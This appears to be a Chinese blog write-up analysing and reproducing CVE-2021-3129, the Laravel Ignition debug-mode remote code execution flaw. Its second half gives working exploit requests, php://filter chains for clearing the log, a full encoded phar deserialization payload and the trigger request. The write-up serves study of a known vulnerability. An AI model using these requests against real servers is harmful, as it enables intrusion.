漏洞概述
在Laravel8.4.2之前,由于Ignition组件(版本小于2.5.2)中MakeViewVariableOptionalSolution.php的file_get_contents()和file_put_contents()使用不安全,未经身份验证的远程攻击者可以执行任意代码。
Ignition:Laravel6.0开始Ignition成为默认的错误页面,具有一些美观的 Laravel 特定功能,可以使调试异常和堆栈跟踪变得更加方便。在Solutions目录下定义了一些特定情况下的solutions,可以通过点击修复按钮时执行run
函数完成调用。更多内容可以通过文章Laravel Ignition 功能全解析了解。
影响范围
- Laravel<=8.4.2
- Ignition组件<2.5.2
环境搭建
|
|
检查.env
中APP_DEBUG是否开启
问题
Q:不能运行composer install
命令
错误信息:Problem 1 - phpunit/phpunit[9.3.3, ..., 9.5.x-dev] require ext-dom * -> it is missing from your system. Install or enable PHP's dom extension. - Root composer.json requires phpunit/phpunit ^9.3.3 -> satisfiable by phpunit/phpunit[9.3.3, ..., 9.5.x-dev].
A:sudo apt-get install php-xml
漏洞分析
触发solution
通过上面的介绍我们可知solution的触发方法是通过修复按钮,究其原因还是向_ignition/execute-solution
路由发送数据调用对应的solution:
vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php/ExecuteSolutionController
|
|
然后进入vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php
查找solution并定义参数规则:
参数规则
|
|
file_get_contents()
知道参数规则再结合solution内部定义的getRunParameters方法我们可以知道该传什么值。
vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution/MakeViewVariableOptionalSolution::getRunParameters
|
|
POST传
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve-2021-2149¶meters[viewFile]=tyskill
直接进入run函数
|
|
然后进入makeOptional函数
|
|
可以看到传入的viewFile参数直接被file_get_contents读取,没有经过任何过滤。当然,这里还不是终点,还要看看后面有没有对读取内容作出修改。不过对于我们传入的tyskill这个字符串来说,这里已经是它的终点了,因为file_get_contents读不到这个文件,那就换一个可以读到的/etc/passwd
,读取的内容再经过'$'.$parameters['variableName']
的替换后赋给了$newContents变量,不是很理解为什么要这样替换,继续向下看。
文件内容过滤(maybe)
替换后的文件内容经过token_get_all解析(解析参照解析器代号列表文档说明)赋值给$newTokens,然后与经过token_get_all解析并传入generateExpectedTokens方法处理的$originalTokens变量比较
看一下generateExpectedTokens方法
|
|
这段代码看起来麻烦,但逻辑很简单,就是在'$'.$variableName
后面添加空格??空格''
,与上面的正则替换差不多。
本地尝试了两种方法的比较后明白了区别,由于token_get_all解析结果与是否满足php结构有关,所以文件内容是否满足php结构就非常重要,通过下面代码可知这样的过滤方法只适用于非php的且有$
符号的文件(太菜了,想不出应用
|
|
不过正常来说这玩意看着也过滤不了什么吧?变量名都是可控的,绕一下也不是很困难。。。后面就没什么过滤了,直接就file_put_contents($parameters['viewFile'], $output);
写回到原文件了。
漏洞利用
这个漏洞应该相当于一个任意操作的file_get_contents()函数,攻击面完全取决于知识面。
漏洞验证
Accept: application/json可加可不加
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.150.130:8000
Accept: application/json
Content-Type: application/json
Content-Length: 177
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "cve-2021-3129",
"viewFile": "tyskill"
}
}
除此之外,寻常的POST传值也可以使用
注意:这种方法在不同的插件中POST效果不同,主要是因为
\\
在POST时有的插件不会将其转义为\
,POST数据编码会出现%5C%5c
,只要将其改为%5C
即可。
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=tyskill
出现报错页面即存在此漏洞
phar反序列化RCE
从phpggc拿一条可用的链子生成phar图片
|
|
然后POST向/_ignition/execute-solution
传
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=phar:///var/www/html/tyskill.gif/test.txt
laravel.log转phar实现RCE
虽然phar反序列化能够实现RCE,但也需要借助文件上传才能达成利用,如果没有文件上传该怎么办呢?LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION提出了通过将laravel.log转化为phar文件从而实现反序列化的方法。
手工复现
简单写一下吧,蓝帽杯打吐了。。。
将laravel.log内容清空,写入phar数据转化为phar文件,然后通过phar反序列化实现RCE。
1、使用php://filter
过滤器组合拳清空log文件(
一次没清空就再执行一次,推荐直接执行两次
https://xz.aliyun.com/t/9030原理:
convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行decode
,所以可以通过调用多次convert.base64-decode
多次触发该特性来将log清空。对于这句话我不是很理解,本地尝试只发现读文件时会跳过非编码表字符,难道对于一些特殊字符进行base64decode时会触发删除效果咩?通过
convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8
的组合使用能将log文件内字符都转为非base64字符
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
2、从phpggc拿一条能用的链子写入log
由于log文件格式原因,我们需要在payload后面添加一个字符,使payload在从utf-16转成utf-8时总有一个payload能被转出来。
|
|
3、发送AA用于对齐
没有实验,纯属猜测,应该是为了接下来的base64解码凑齐4倍数位的字符数,发送AAAAAA同样也可以成功。
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=AA
4、将payload从viewFile参数POST传过去(记得添加一个字符)
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=69=00=4C=00=69=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=69=00=4C=00=69=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=34=00=52=00=36=00=59=00=35=00=55=00=4D=00=6C=00=4F=00=79=00=67=00=70=00=64=00=65=00=58=00=66=00=74=00=72=00=62=00=31=00=78=00=6B=00=2B=00=6E=00=63=00=39=00=41=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a
5、清空干扰字符
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
6、phar反序列化
solution=Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=phar://../storage/logs/laravel.log/test.txt
至此就复现完了
脚本实现
参考
How do I install the dom extension for PHP7?
Laravel Debug mode RCE(CVE-2021-3129)分析复现